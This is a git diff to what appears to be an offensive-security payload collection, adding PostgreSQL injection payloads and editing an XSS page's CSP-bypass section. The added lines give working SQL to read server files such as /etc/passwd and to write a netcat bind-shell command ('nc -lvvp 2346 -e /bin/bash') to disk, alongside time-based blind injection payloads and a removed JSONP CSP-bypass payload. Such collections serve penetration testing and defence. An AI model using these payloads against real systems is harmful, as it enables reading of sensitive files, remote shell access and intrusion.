diff --git a/SQL injection/PostgreSQL Injection.md b/SQL injection/PostgreSQL Injection.md index 1b0f7cc..cecd0bb 100644 --- a/SQL injection/PostgreSQL Injection.md +++ b/SQL injection/PostgreSQL Injection.md @@ -21,4 +21,29 @@ ```sql AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) -``` \ No newline at end of file +``` + +## PostgreSQL File Read + +```sql +select pg_read_file('PG_VERSION', 0, 200); +``` + +```sql +CREATE TABLE temp(t TEXT); +COPY temp FROM '/etc/passwd'; +SELECT * FROM temp limit 1 offset 0; +``` + +## PostgreSQL File Write + +```sql +CREATE TABLE pentestlab (t TEXT); +INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); +SELECT * FROM pentestlab; +COPY pentestlab(t) TO '/tmp/pentestlab'; +``` + +## Thanks to + +* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9) \ No newline at end of file diff --git a/XSS injection/README.md b/XSS injection/README.md index 348dab8..ae24bc5 100644 --- a/XSS injection/README.md +++ b/XSS injection/README.md @@ -9,6 +9,7 @@ Cross-site scripting (XSS) is a type of computer security vulnerability typicall - [XSS in files](#xss-in-files) - [Polyglot XSS](#polyglot-xss) - [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads) +- [CSP Bypas](#csp-bypass) - [Common WAF Bypas](#common-waf-bypass) ## Exploit code or POC @@ -662,12 +663,6 @@ Little Endian : 0xFF 0xFE 0x00 0x00 XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` -Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27)) -//google.com/complete/search?client=chrome&jsonp=alert(1); - -```js -